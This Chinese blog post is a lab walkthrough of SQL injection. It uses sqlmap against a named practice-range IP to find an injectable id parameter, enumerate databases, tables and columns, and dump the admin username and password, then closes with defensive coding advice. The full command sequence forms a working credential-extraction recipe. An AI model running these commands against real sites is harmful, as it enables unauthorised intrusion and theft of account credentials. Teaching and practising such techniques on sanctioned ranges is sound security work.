美文网首页茴香豆安全 - KALI学习笔记
茴香豆安全 - Sql注入获取管理员账号密码

茴香豆安全 - Sql注入获取管理员账号密码

作者: wycdavid | 来源:发表于2020-05-28 22:35 被阅读0次

    一、前言

    • SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作
    • SQL注入漏洞属于高危漏洞,用asp、.net、php、java、等程序语言编写的网站,都存在着sql注入的风险,一旦成功注入,轻者被暴库,整个网站被控制,重者服务器被攻陷,甚至突破到内网。
    • 互联网安全法规定,不经授权对其它网站进行漏洞扫描,渗透都是违法行为,所以我们的技术学习、验证都是自己搭建的目标靶机,或者使用一些安全网站的在线靶场(专门提供给学习渗透人员使用的模拟网站)

    二、相关工具准备

    • sqlmap,sql注入常用的工具
    • 在线靶场,用于sql注入测试的在线网站,我们这次使用 http://59.63.200.79:8003/

    三、流程方案简述

    • 检测网站是否存在sql注入漏洞,我们需要找到一个注入点,一般都是数据提交的地方,或者新闻资讯列表详情页,类似下面这种url后面接参数id的,而且参数id是动态变化的。
     http://www.xx.com/xxx.php?id=1
    
    • 如果存在注入漏洞,猜解数据库
    • 根据数据库,继续猜解表
    • 选择某个表(一般选择可能存储账号密码的表,比如user、admin、member等),继续猜解字段
    • 猜解关键字段(比如 username,password)的值,获取到用户名和密码

    四、具体测试过程

    1. 打开靶场网站,寻找注入点

    • 浏览器打开靶场网站,很容易就找到了注入点(为了方便测试,这个注入点也太明显了吧)


      image.png
    http://59.63.200.79:8003/?id=1
    
    
    • 执行下面的命令,检测是否存在sql注入漏洞
    sqlmap -u "http://59.63.200.79:8003/?id=1"
    
    image.png
    • 的确是存在sql注入漏洞的,这个id参数存在布尔值注入漏洞,和延时注入漏洞,使用的是mysql数据库

    2. 猜解数据库

    • 执行下面的命令,--dbs参数,表示猜解所有的数据库
    sqlmap -u "http://59.63.200.79:8003/?id=1" --dbs
    
    image.png
    • 如图所示,一共发现了三个数据库,根据网站的内容很容可以猜到我们的目标数据库是 maoshe

    3. 继续猜解表

    • 执行下面的命令,--tables参数,表示猜解所有的表,-D指定数据库,注意大小写
    sqlmap -u "http://59.63.200.79:8003/?id=1" --tables -D maoshe
    
    image.png
    • 如图所示,我们发现数据maoshe中一共有4张表,根据经验一般,用户或者管理员信息在admin这个表中,当然如果不是,你只能一个个的去试了

    4. 继续猜解表的字段

    • 执行下面的命令,--colunms参数,表示猜解所有字段,-T 指定表
    sqlmap -u "http://59.63.200.79:8003/?id=1" --columns -T admin -D maoshe
    
    image.png
    • 如图所示,我们发现这个admin表中有三个字段,很显然username 和password 就是对应的用户名和密码

    5. 获取用户名和密码

    • 执行下面的命令,--colunms参数,表示猜解所有字段,-T 指定表
    sqlmap -u "http://59.63.200.79:8003/?id=1"  --dump -C username,password  -T admin -D maoshe
    
    image.png
    • 这样我们就拿到了账号admin和密码 hellohack

    五、最后

    • 本次测试主要使用了sqlmap工具,此工具还有很多其他的功能,比如猜解的时候可以开启多线程,提高猜解的效率等,另外针对不同的语言编写的网站,以上执行的命令略有不同,这里我们演示的网站是php编写的。
    • 因为是靶场网站,所以数据库的数量,表的数量,字段的数量都很少,甚至注入点也很明显,因为我们的目的只是为了演示技术,而不是为了渗透别人的网站。真正的渗透测试环境肯定要比这个复杂的多。
    • 为了应对sql注入的风险,我们的网站要注意以下几点
    • 对用户的输入进行校验,限制输入、过滤一些特殊的敏感符号等
    • 不要使用动态拼装sql的方式,进行数据查询存取
    • 不要使用管理员权限的账号连接数据库,为每个应用的数据库分配有限权限的账号
    • 不要明文存储敏感信息,可以使用一些加密方法
    • 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

    相关文章

      网友评论

        本文标题:茴香豆安全 - Sql注入获取管理员账号密码

        本文链接:https://www.haomeiwen.com/subject/zhjzahtx.html